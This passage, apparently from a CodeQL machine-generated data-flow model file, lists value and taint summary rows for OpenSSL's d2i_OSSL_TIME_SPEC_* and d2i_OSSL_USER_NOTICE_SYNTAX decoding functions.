"", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", 